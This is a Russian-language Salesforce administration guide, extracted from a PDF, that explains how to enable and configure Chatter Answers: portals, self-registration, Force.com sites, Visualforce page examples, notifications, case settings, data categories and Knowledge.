Общие сведения о внедрении Chatter Answers

Руководство по внедрению Chatter Answers

Включение Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Chatter
Answers:
• «Настройка

приложения»

Чтобы настроить зоны Chatter Answers, включите Chatter Answers.

1. Введите строку «Параметры Chatter Answers» в поле «Быстрый поиск» в
меню «Настройка» и выберите пункт «Параметры Chatter Answers».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить Chatter Answers».

4. При необходимости выберите указанные ниже параметры.

ОписаниеПараметр

Данный параметр позволяет добавлять
вкладку Chatter Answers на клиентский
или партнерский портал. При выборе
данного параметра вкладка Chatter
Answers должна быть добавлена на все
порталы, а пользователям порталов
должна быть назначена лицензия
«Пользователь Chatter Answers».

Если вкладка Chatter Answers должна
отображаться только на собственных

Отображать Chatter Answers на
порталах

порталах, то сайт Force.com для
размещения сообществ Chatter Answers
может не настраиваться. В отличие от
порталов, сайт позволяет
пользователям-гостям просматривать
некоторые данные Chatter Answers без
входа в систему.

Данный параметр позволяет
фильтровать результаты поиска по

Оптимизировать поток вопросов

статьям или вопросам до публикации
вопроса в любую зону Chatter Answers.
Кроме того, вопросы дополняются
полями «Заголовок» и «Текст», которые
позволяют упростить процесс ввода и
сканирования текста. Данный параметр
включается автоматически при
включении поддержки Chatter Answers.
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ОписаниеПараметр

Данный параметр позволяет участникам зоны
использовать редактор обогащенного текста для

Включить редактор обогащенного текста

форматирования текста и загрузки изображений при
публикации вопросов или ответов. Данный параметр
включается автоматически при включении поддержки
Chatter Answers.

Прим.: Данный параметр может быть выбран
только после включения параметра
«Оптимизировать поток вопросов».

Данный параметр позволяет отображать публикатор
«Поиск/задать вопрос» внутри текущего окна.

Показывать встроенный публикатор "Поиск/задать
вопрос"

Прим.: Данный параметр может быть выбран
только после включения параметра
«Оптимизировать поток вопросов».

Данныйпараметрпозволяетпользователямзарабатывать
очки и рейтинги, отображающиеся при наведении

Включить поддержку репутации

указателямышинаихфотографиивпрофиле. Поддержка
репутации включается во всех зонах. Данный параметр
включается автоматически при включении поддержки
Chatter Answers.

Данныйпараметрпозволяетпользователямпубликовать
ответы путем ответа на электронные уведомления.

Разрешить публикацию ответов по эл. почте

Данный параметр позволяет использовать
регистрационные данные Facebook для входа в зоны

Включить единую регистрацию Facebook

Chatter Answers. При выборе данного параметра зоны
дополняются параметром «Войти с помощью
Facebook», которыйотображаетсянапротивпараметра
зон «Войти». Сообщения, опубликованные
пользователем в зонах, содержат личное имя, фамилию
ифотографию, связанные с учетной записью Facebook,
в том случае, если регистрационные данные Facebook
используются для входа в Chatter Answers.

Прежде чем включить даннуюфункцию, рекомендуем
определить и включить поставщика проверки
подлинности Facebook в средствах управления
безопасностью организации.

Если установлен флажок «Включить единую
регистрацию Facebook», тоданныйпараметрпозволяет

Поставщик проверки подлинности Facebook

выбрать текущего поставщика проверки подлинности
Facebook. Поставщик проверки подлинности Facebook
должен быть выбран для внедрения функции единой
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ОписаниеПараметр

регистрации в зонах Chatter Answers. Данный параметр
пропускается при связывании зоны Chatter Answers с
сообществом Chatter посредством другого поставщика
проверки подлинности Facebook.

Данный параметр позволяет выбирать настраиваемую
страницу Visualforce дляпрофилейпользователейвChatter

Настраиваемая страница профиля

Answers на общедоступном сайте сообщества Chatter.
Чтобы использовать страницы профиля пользователя,
рекомендуем установить флажок «Доступно без
проверки подлинности» для нужной зоны. Ниже
перечислены атрибуты, передаваемые на выбранную
настраиваемую страницу Visualforce.

• communityId: данный атрибут определяет зону,
которой принадлежит выбранный элемент ленты
(например, вопрос или ответ).

• userId: данный атрибут определяет ответственного
за выбранный элемент ленты (например, вопрос или
ответ).

• showHeader: данный атрибут содержит логическое
значение, определяющее наличие верхнего
колонтитула вкладки Salesforce на странице. Верхний
колонтитул вкладки Salesforce отображается при
выборе истинного значения.

5. Нажмите кнопку «Сохранить».

Ниже перечислены некоторые элементы, которые автоматически добавляются в организацию и используются для
настройки зон после включения Chatter Answers.

• Вкладка «Вопросиответ», позволяющаявнутреннимпользователямиадминистраторампросматриватьииспользовать
Chatter Answers. Данная вкладка может быть переименована администратором.

• Стандартныепараметрыполномочийдлявопросоввпрофилях, чтобыпредоставлятьпользователямдоступквопросам
и ответам.

• Страницы Visualforce, которые могут быть добавлены на сайт Force.com, вкладку приложения «Сообщество» или
клиентский портал, чтобы пользователи могли регистрироваться, выполнять вход и просматривать элементы ленты
в зоне.

• Класс Apex ChatterAnswersRegistration с методом настройки процесса создания организаций для
пользователей портала.

• ТриггерApex chatter_answers_question_escalation_to_case_trigger длявопросов, чтобывыполнять
автоматическое расширение вопросов с указанными атрибутами до обращений.

• Обновление поля бизнес-правила chatter_answers_num_subscriptions_above_, чтобы обновлять поле
вопроса «Приоритет» в случае расширения вопроса до обращения.

• Два бизнес-правила (chatter_answers_no_best_reply_within_time_limit_wf и
chatter_answers_num_subscriptions_above_limit_wf), доступные для настройки и активации с целью
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автоматического расширения вопросов без лучших ответов или вопросов с заданным количеством отслеживающих
пользователей до обращений.

СМ. ТАКЖЕ:

Общие сведения о внедрении Chatter Answers

Настройка Chatter Answers

Страницы Visualforce для Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Ниже перечислены страницы Visualforce, которые автоматически добавляются в
организацию пользователя после включения Chatter Answers. Данные страницы могут
использоваться для настройки Chatter Answers.

ОписаниеСтраница Visualforce

Компонент Visualforce, отображающий
вопросы на страницах сведений об
обращениях в случае преобразования
вопросоввобращения. Данныйкомпонент
является дополнительным и служит
альтернативой для страницы сведений об
обращении.

ChatterAnswersAgentView

Страница, используемая в зоне для
изменения паролей пользователей.

ChatterAnswersChangePassword

Страница, используемая в зоне для
восстановления пароля.

ChatterAnswersForgotPassword

Страница, используемая в зоне для
подтверждения восстановления пароля.

ChatterAnswersForgotPasswordConfirm

Страница интерактивной справки,
отображающаяся пользователям при
выборе ссылки «Нужна помощь?».

ChatterAnswersHelp

Страница, используемая в зоне для входа.ChatterAnswersLogin

Страница, используемая в зоне для
самостоятельной регистрации
пользователей.

ChatterAnswersRegistration

Данная страница содержит ленты
вопросов, ответов и статей Salesforce

Страницанижедобавляетсяворганизацию
присозданиизоны. Имя сообщества_main

(Начальная страница) Knowledge, доступные в зоне. Кроме того,
данная страница позволяет определить
сообщество, от имени которого
пользователямотправляютсяэлектронные
уведомления.

Данная страница создается автоматически
присохраненииновойзоны, еслине задан
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ОписаниеСтраница Visualforce

параметр «Страница Visualforce для размещения
лент сообщества». Созданнаястраницасодержиткодзоны,
позволяющий связывать и отображать темы, вопросы и
ответы в определенной зоне. Имя страницы соответствует
имени зоны и содержит индекс «_main» (например,
ИмяЗоны_main). Кроме того, страница содержит атрибут
языка, который соответствует стандартному языку
организации.

СМ. ТАКЖЕ:

Включение Chatter Answers

Настройка Chatter Answers

Visualforce

Настройка Chatter Answers посредством страниц Visualforce

Настройка Chatter Answers посредством страниц Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Система позволяет создавать страницы Visualforce, отображающие настроенные зоны
Chatter Answers.

Благодаря страницам Visualforce, пользователимогут добавлять настраиваемые виджеты
в Chatter Answers (например, уведомления или сообщения), позволяющие расширять
текущийфирменный стиль и совершенствовать опыт работы пользователей. Кроме
того, пользователимогутизменятьпорядокотображенияэлементовнастранице. Клиенты
могутоткрыватьнастраиваемуюзонуChatter AnswersпосредствомсайтаForce.com, вкладки
приложения«Сообщество»иликлиентскогопортала, дополненногостраницейVisualforce.
Внутренние пользователи, которые открывают зону Chatter Answers, использующую
страницу Visualforce, могут просматривать только зону, связанную со страницей;
переключениемежду зонамидоступнотолькоприиспользованиистандартнойвкладки
«Вопрос и ответ».

Прим.: Вкладка «Вопрос и ответ» компонента Chatter Answers не может быть настроена посредством страницы
Visualforce, но система позволяет добавлять вкладку Visualforce в организацию и создавать внутренние зоны Chatter
Answers посредством настраиваемой страницы Visualforce.

Зона отображается только в том случае, если созданная страница Visualforce содержит компонент
chatteranswers:allfeeds или набор следующих компонентов: chatteranswers:aboutme,
chatteranswers:guestsignin, chatteranswers:feedfilter, chatteranswers:feeds,
chatteranswers:searchask, chatteranswers:datacategoryfilter.

Пример: настраиваемая страница Visualforce, содержащаякомпонент chatteranswers:allfeeds

Компонент chatteranswers:allfeeds поддерживает стандартную страницу Visualforce для Chatter Answers. Ниже
перечислены элементы Chatter Answers, доступные на странице, которая использует компонент
chatteranswers:allfeeds.

• Вход Chatter Answers
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• Профиль Chatter Answers

• Фильтры категории данных

• Панель «Поиск/задать вопрос»

• Фильтры ленты

• Лента вопросов

НижеприведенпримерстраницыVisualforce, использующейкомпонент chatteranswers:allfeeds, котораясодержит
все элементы Chatter Answers; порядок их отображения в зоне является стандартным, а использование настраиваемых
виджетов не поддерживается.

<apex:page>

<body>
<chatteranswers:allfeeds communityId="09aD00000000K7c"/>

</body>
</apex:page>

Пример: настраиваемая страница Visualforce, содержащаявсе компонентыстраницы Chatter Answers

Использованиекомпонентов страницыChatter Answersпозволяет выбирать элементызоныChatter Answers, отображаемые
клиентам. Принеобходимостистраницаможетсодержатьотодногодовсехкомпонентов. Нижеперечисленыкомпоненты,
доступные для добавления.

• chatteranswers:aboutme

• chatteranswers:guestsignin

• chatteranswers:feedfilter

• chatteranswers:feeds

• chatteranswers:searchask

• chatteranswers:datacategoryfilter

Использование компонентов страницы Chatter Answers вместо компонента chatteranswers:allfeeds позволяет
изменять порядок отображения элементов на странице. Ниже приведен пример страницы Visualforce, содержащей все
стандартные элементы Chatter Answers, но порядок их отображения на итоговой странице отличается от порядка
отображения, установленного компонентом chatteranswers:allfeeds. Данный пример позволяет отображать
компонент «Поиск/задать вопрос» и фильтр ленты под лентой.

<apex:page language="en_US" showHeader="false" cache="true">
<body>
<div class="csMini">
<div class="threecolumn">
<div class="leftContent">
<chatteranswers:guestsignin />
<chatteranswers:aboutme communityId="09aD00000000cfE"/>
<chatteranswers:datacategoryfilter communityId="09aD00000000cfE"/>
</div>
<div class="mainContent">
<div class="lowerMainContent" id="lowerMainContent">
<div id="rightContent" class="rightContent"></div>
<div id="centerContent" class="centerContent">
<chatteranswers:feeds communityId="09aD00000000cfE"/>
<chatteranswers:searchask communityId="09aD00000000cfE"/>
<chatteranswers:feedfilter />
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</div>
</div>
</div>
<div class="clearingBox"></div>
</div>
</div>
</body>
</apex:page>

СМ. ТАКЖЕ:

Добавление настраиваемой страницы Visualforce для отображения Chatter Answers

Страницы Visualforce для Chatter Answers

Настройка электронных уведомлений для пользователей Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки электронных
уведомлений для
пользователей Chatter
Answers:
• «Настройка

приложения»

Чтобы определить условия отправки сообщений эл. почты пользователям, настройте
параметрыуведомлений, которыедолжныприменятьсяковсемзонам. Каждоесообщение
эл. почты содержит ссылку на определенную зону, позволяющую пользователям
выполнять быстрый переход.

1. Введите строку «Параметры электронных уведомлений» в поле «Быстрый поиск» в
меню «Настройка» и выберите пункт «Параметры электронных уведомлений».

2. Нажмите кнопку «Правка».

3. Выберите нужные параметры ниже.

ОписаниеПараметр

Клиенты получают уведомления о
добавлении ответов на собственные
вопросы.

Отвечает на его вопрос

Клиенты получают уведомления о
добавлении ответов на отслеживаемые
вопросы.

Отвечает на отслеживаемый им вопрос

Клиенты получают уведомления о
выборе лучших ответов на
отслеживаемые вопросы.

Выбирает лучший ответ для
отслеживаемого им вопроса

Клиенты получают уведомления об
отправке личных ответов агентами
службы поддержки.

Отправляет личный ответ на его
вопрос (служба поддержки)

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о внедрении Chatter Answers

Настройка Chatter Answers
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Настройка клиентского портала для Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Прим.: Несмотряна то, чтоорганизацияможетненуждаться в клиентскомпортале,
рекомендуемнастроитьодинпортал, которыйбудетиспользоваться компонентом
Chatter Answers для проверки подлинности пользователей, регистрирующихся в
зоне Chatter Answers.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Щелкните ссылку «Правка» напротив клиентского портала, который должен быть
настроен для Chatter Answers.

3. Чтобы разрешить клиентам выполнять вход в Chatter Answers, установите флажок
«Вход включен».

4. Введите адрес, который должен использоваться для отправки всех сообщений эл.
почты из зоны Chatter Answers, в поле «Адрес эл. почты отправителя». Например,
support@acme.com.

5. Введитеимя, связанное со значениемполя «Адрес эл. почты отправителя», вполе
«Имя для адреса эл. почты отправителя». Например, служба поддержки Acme.

6. Чтобы разрешить клиентам самостоятельную регистрацию для доступа к Chatter
Answers, установите флажок «Самостоятельная регистрация включена».

7. Выберителицензиюпользователяпортала, котораябудет автоматическиназначаться
самостоятельно зарегистрировавшимся клиентам, в поле «Стандартная лицензия
нового пользователя». Рекомендуем выбрать лицензию «Массовый клиентский портал».

8. Выберите профиль, который будет автоматически назначаться самостоятельно зарегистрировавшимся клиентам, в
поле «Стандартный профиль нового пользователя». Рекомендуемвыбратьпрофиль, клонированныйинастроенный
для самостоятельной регистрации.

9. Нажмите кнопку «Сохранить».

10. Чтобыразрешитьпользователямвход в зону, назначьтепрофиль, выбранныйвполе «Стандартный профиль нового
пользователя», клиентскому порталу.

a. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Параметры клиентского портала».

b. Выберите имя портала.

c. Щелкните «Редактировать профили» в разделе «Назначенные профили».

d. Установите флажок «Активно» напротив профиля, выбранного в поле «Стандартный профиль нового
пользователя».

e. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о внедрении Chatter Answers

Настройка Chatter Answers

Включение входа и параметров клиентского портала
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Настройка пользователей портала для самостоятельной регистрации в Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Для управления
пользователямиклиентского
портала:
• «Редактирование

пользователей портала
самообслуживания»

Разрешите пользователям клиентского портала самостоятельную регистрацию в
сообществах Chatter Answers.

1. Чтобы клонировать профиль «Массовый клиентский портал» для дальнейшей
настройки, выполните указанные ниже действия.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем
выберите «Профили».

b. Щелкните ссылку «Клонировать» напротив профиля «Массовый клиентский
портал».

c. Введите имя для нового профиля.

d. Нажмите кнопку «Сохранить».

2. Чтобынастроитьклонированныйпрофильидобавитьполномочиядлястандартных
объектов, используемых в сообществе, выполните указанные ниже действия.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем
выберите «Профили».

b. Щелкните имя клонированного профиля.

c. Нажмите кнопку «Правка».

d. В разделе «Полномочия для стандартных объектов» выберите указанные ниже
полномочия для следующих объектов.

ПолномочияОбъект

«Чтение», «Создание»Обращения

ЧтениеКонтакты

«Чтение», «Создание»Вопросы

ЧтениеОрганизация

e. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка Chatter Answers

Настройка клиентского портала для Chatter Answers

Общие сведения о пользователях Chatter Answers
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Настройка сайта Force.com для поддержки Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Прим.: Сайты Force.com должнынастраиваться для сообществ, поддерживающих
самообслуживание.

Настройте сайт Force.com для Chatter Answers с целью размещения домена и
общедоступногоотображениянекоторыхданныхSalesforce (например, вопросов, ответов
и статей Salesforce Knowledge).

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните ссылку «Правка»напротивимени сайта, которыйдолженбытьнастроен
для Chatter Answers.

3. Чтобы активировать сайт, установите флажок «Активно».

Сайт может быть активирован после настройки Chatter Answers.

4. Выберите страницуVisualforce в качественачальнойстраницысайта вполе «Активная
начальная страница сайта».

5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Правка» в связанном списке «Страницы Visualforce сайта».

a. Чтобы активировать указанные ниже страницы Visualforce, воспользуйтесь
кнопками «Добавить» и «Удалить».

• ChatterAnswersAgentView

• ChatterAnswersChangePassword

• ChatterAnswersForgotPassword

• ChatterAnswersForgotPasswordConfirm

• ChatterAnswersHelp

• ChatterAnswersLogin

• ChatterAnswersRegistration

b. Нажмите кнопку «Сохранить».

7. Чтобыпредоставитьпользователям-гостям (непроверенныепользователибездоступакклиентскомупорталу) доступ
к обращениям, вопросам и статьям Salesforce Knowledge, щелкните «Параметры общего доступа».

a. Щелкните «Правка» в профиле для пользователей Chatter Answers.

b. Щелкните «Чтение» для обращений и вопросов в разделе «Полномочия стандартного объекта».

c. Чтобыпросматривать статьи в Chatter Answers, щелкните «Чтение» для типов статей в разделе «Полномочия типа
статьи».

d. Нажмите кнопку «Сохранить».

8. Чтобыпредоставитьпользователямдоступк категориямдляпросмотравопросов, ответовистатей Salesforce Knowledge,
щелкните ссылку «Правка»напротивнужнойгруппыкатегорийв связанномсписке «Параметрыдоступности группы
категорий».

a. Выберите значение «Все категории» в параметре «Доступность».

b. Нажмите кнопку «Сохранить».
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9. Вернитесь к сайту, введите строку «Сайты» в поле «Быстрый поиск» в меню «Настройка» и выберите имя сайта в
списке «Сайты».

10. Чтобы включить проверку подлинности пользователей, щелкните «Параметры входа в систему».

a. Нажмите кнопку «Правка».

b. В параметре «Активировать вход в систему для» выберите клиентский портал, созданный для Chatter Answers.

c. Нажмите кнопку «Сохранить».

После настройки сайта Force.com для Chatter Answers пользователь может заменить стандартные страницы Visualforce,
используемые в сообществе, настраиваемыми страницами. Страницам Visualforce автоматически назначается URL-адрес
сайта, поэтому они доступны пользователям портала для навигации.

Прим.: Чтобыукоротитьи упростить URL-адреса страницсайта, воспользуйтесь средствомперезаписи URL-адресов
Chatter Answers. Ниже перечислены страницы, использующие средство перезаписи URL-адресов.

• ChatterAnswersHelp

• ChatterAnswersLogin

• ChatterAnswersRegistration

• ChatterAnswersForgotPassword

Кроме того, Chatter Answers поддерживает настраиваемые средства перезаписи URL-адресов для сайтов.

1. Введите строку «Параметры сайтов» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры
сайтов».

2. Щелкните ссылку «Правка» напротив нужного сайта.

3. Выберите страницы для замены. В случае замены страницы изменения пароля автоматически обновляется страница
изменения пароля, используемая на сайте.

4. Нажмите кнопку «Сохранить».

Прим.: Пользователям Internet Explorer 8 отображаетсяпредупреждение системыбезопасности, еслинастраиваемые
URL-адреса не содержат префикса https://.

СМ. ТАКЖЕ:

Общие сведения о внедрении Chatter Answers

Настройка Chatter Answers

Страницы Visualforce для Chatter Answers
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Настройка обращений для Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки единых
стандартных параметров
общего доступа:
• «Управление общим

доступом»

Для настройки параметров
безопасности поля:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Для настройки полей:

Для создания правил
назначения:

Для предоставления
пользователям массового
портала доступа к
обращениям:

• «Настройка
приложения»

Чтобыпредоставить соответствующимпользователям зонChatter Answers возможность
создания, расширения и доступа к обращениям, настройте компонент Chatter Answers в
функциях, связанных с обращениями.

1. Чтобы предотвратить доступ пользователей к чужим данным, настройте единые
стандартные параметры общего доступа («Личный» для организации,
«Контролируется родительским объектом» для контакта и «Личный» для
обращения).

2. Чтобыпредоставитьпользователямдоступкличнымвопросам, настройтепараметры
безопасности поля обращения «Вопрос»  (значение «Доступно») для профилей,
назначенных клиентскому порталу.

3. Чтобыагентыслужбыподдержкимоглиопределятьобращения, созданныенаоснове
Chatter Answers, обновите значение поля обращения «Происхождение» значением
триггера «Вопрос».

4. Чтобыназначатьобращения, созданныенаосновеличныхвопросов, агентамслужбы
поддержки, создайте правило назначения обращений, где полю «Происхождение
обращения» задано значение Chatter Answers.

5. Чтобы пользователи массового портала могли иметь доступ к личным вопросам в
Chatter Answers, предоставьте им доступ к обращениям.

СМ. ТАКЖЕ:

Настройка Chatter Answers
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Настройка уровня доступности вкладки «Вопрос и ответ»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки уровня
доступности вкладки
«Вопрос и ответ»:
• «Управление

профилями и наборами
полномочий»

Чтобы предоставить агентам службы поддержки возможность просмотра, поиска,
фильтрацииимодерированиявопросов, опубликованныхв зонеChatter Answers, задайте
уровню доступности вкладки «Вопрос и ответ» значение «Включены стандартные
параметры».

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Выберите профиль агента службы поддержки.

3. В зависимости от используемого типа пользовательского интерфейса, выполните
одно из указанных ниже действий.

• «Расширенный пользовательский интерфейс профиля». Введите имя вкладки в
поле«Поискпараметров…», выберитепредложенныйэлементспискаинажмите
кнопку «Правка».

• «Исходныйпользовательскийинтерфейспрофиля». Нажмитекнопку «Правка»
и прокрутите страницу до раздела «Параметры вкладки».

4. Выберите значение «Включены стандартные параметры» для уровня доступности
вкладки «Вопрос и ответ».

5. (Только для исходного пользовательского интерфейса профиля) Чтобы заданные
параметрыдоступностивкладкиприменялисьвпользовательскихнастройкахвкладки,
установите флажок «Изменять настройки личных вкладок пользователя».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка Chatter Answers
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Назначение категорий данных компоненту Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения категорий
данных компоненту Chatter
Answers:
• «Настройка

приложения»

Благодаряназначениюгруппыкатегорийданных, компонентChatter Answersможетбыть
доступенвсемзонамChatter Answers. Каждойзоненазначаетсякатегорияданныхверхнего
уровня (тема), которая может использоваться клиентами и агентами службы поддержки
для категоризации и фильтрации вопросов и статей базы знаний.

1. Введитестроку «Назначения категорий данных» вполе «Быстрый поиск» ивыберите
пункт «Назначения источников данных» в разделе Chatter Answers.

2. Нажмите кнопку «Правка».

3. Выберите группу категорий.

4. Нажмите кнопку «Сохранить».

Прим.: Каждой зоне Chatter Answers может быть назначена категория верхнего
уровня. Доступность зоны обуславливается доступностью соответствующей
категории данных верхнего уровня профилю пользователя клиента. Кроме того,
доступность зоны не зависит от доступности дочерних категорий данных и
определяется только доступностьюсвязанной категории данных верхнего уровня.

СМ. ТАКЖЕ:

Настройка Chatter Answers

Что такое категории данных?
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Настройка Salesforce Knowledge для Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для создания типов статей
и действий со статьями:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Для управления
синонимами:
• «Управление

синонимами»

Для создания категорий
данных:
• «Управление

категориями данных»

Чтобы отображать статьи Salesforce Knowledge в зонах Chatter Answers, выполните
указанные ниже действия.

1. Внедрите категории данных (в случае отсутствия).

2. Внедрите Salesforce Knowledge (в случае отсутствия).

3. Настройте оба компонента для Chatter Answers.

Каждой зоне назначается категория данных верхнего уровня (тема), которая может
использоваться клиентами и агентами службы поддержки для категоризации и
фильтрации вопросов и статей базы знаний.

1. При использовании ролевой доступности категорий данных задайте параметру
«Доступность категорий данных по умолчанию» значение «Все категории», чтобы
клиенты, отсутствующие в иерархии ролей организации (например, пользователи
массовогопортала), моглииметь доступк категориям, содержащимвопросыистатьи
Salesforce Knowledge.

Кроме того, чтобы настроить доступность категорий данных, воспользуйтесь
наборами полномочий или профилями.

2. Создайте одну группу категорий для всех сообществ, чтобы отсрочить достижение
заданногоограничения (три активныекатегорииданных). Затемдобавьте дочернюю
категорию для каждого сообщества. Чтобы добавить темы, создайте дочерние
категории для категорий, добавленных ранее.

3. Активируйте группу категорий, которая должна быть доступна для Chatter Answers,
чтобы предоставить доступ пользователям.

4. Предоставьте полномочие «Чтение» для определенных типов статей в профилях
пользователей Chatter Answers, чтобы статьи были доступны пользователям прямо в
зонах.

5. Принеобходимости разрешите агентам службыподдержки добавлять ответы в базу
знаний в качестве черновых статей, чтобы ускорить процесс поиска полезной
информации сотрудниками службы поддержки.

СМ. ТАКЖЕ:

Общие сведения о внедрении Chatter Answers

Настройка Chatter Answers

Общие сведения о доступности группы категорий

Создание и изменение групп категорий
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Добавление Chatter Answers на портал

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

КомпонентChatter Answersможетбытьдобавленнатекущийклиентскийилипартнерский
портал, чтобы предоставить пользователям портала доступ к зонам Chatter Answers
посредством одного из официальных каналов.Пользователи, выполнившие вход на
один из порталов, могут открыть вкладку Chatter Answers и выбрать нужную зону в
раскрывающемся списке. Если вкладка Chatter Answers должна отображаться только на
собственных порталах, то сайт Force.com для размещения сообществ Chatter Answers
может не настраиваться. В отличие от порталов, сайт позволяет пользователям-гостям
просматривать некоторые данные Chatter Answers без входа в систему.

Ниже перечислены особенности добавления вкладки Chatter Answers на портал.

• Chatter Answers отображается в виде вкладки, доступной для переименования.

• Раскрывающийся список позволяет пользователям портала переключаться между
зонами Chatter Answers.

• Ссылка «Мои параметры» заменяется ссылками «Включить сообщения эл. почты» и «Отключить сообщения
эл. почты».

• Ссылки «Войти» и «Регистрация» удаляются, так как компонент Chatter Answers доступен пользователям только
после входа на портал.

• Внешний вид компонента Chatter Answers не может быть изменен.

• Ссылка «Нужна помощь?» удаляется.

• Если Chatter Answers отображается посредством страницы Visualforce, то пользователи не могут переключаться между
зонами портала.

СМ. ТАКЖЕ:

Настройка Chatter Answers

Настройка клиентского портала
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Добавление Chatter Answers на клиентский портал

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления Chatter
Answers на клиентский
портал:
• «Настройка

приложения»

Компонент Chatter Answersможет быть добавлен на текущий клиентскийпортал, чтобы
предоставитьпользователямпортала доступк зонамChatter Answersпосредствомодного
из официальных каналов поддержки.

1. ЧтобывключитьподдержкуChatter Answersнапорталах, выполните указанныениже
действия.

a. Введите строку «Параметры Chatter Answers» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт «Параметры Chatter Answers».

b. Нажмите кнопку «Правка».

c. Установите флажок «Отображать Chatter Answers на порталах».

d. Нажмите кнопку «Сохранить».

2. Чтобы включить поддержку Chatter Answers, измените профили пользователей
клиентского портала.

При использовании расширенного пользовательского интерфейса профиля
выполните перечисленные ниже действия.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем
выберите «Профили».

b. Щелкните ссылку «Правка»напротивнужногопрофиляпользователяпортала.

c. Щелкните ссылку «Параметры объекта» в разделе «Приложения».

d. Щелкните ссылку «Вопрос и ответ» на странице «Параметры объекта».

e. Выберите значение «Включены стандартные параметры» в разделе «Параметры вкладки».

f. Нажмите кнопку «Сохранить» и вернитесь на страницу «Параметры объекта».

g. Щелкните ссылку «Вопросы и ответы» и установите флажки «Чтение» и «Создание» в разделе «Полномочия
объекта».

h. Нажмите кнопку «Сохранить».

Прииспользовании исходного пользовательского интерфейса профиля выполните перечисленные ниже действия.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем выберите «Профили».

b. Щелкните ссылку «Правка» напротив нужного профиля пользователя портала.

c. Выберите значение «Включены стандартные параметры» в разделе «Параметры вкладки» для вкладки «Вопрос
и ответ».

d. Установите флажки «Чтение» и «Создание» для объекта «Вопросы» в разделе «Полномочия стандартного
объекта».

e. Нажмите кнопку «Сохранить».

3. Чтобыназначитьпользователямклиентскогопорталалицензию «ПользовательChatter Answers», выполнитеуказанные
ниже действия.

a. Введите строку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Пользователи».

b. Щелкните ссылку «Правка» напротив нужного пользователя портала.

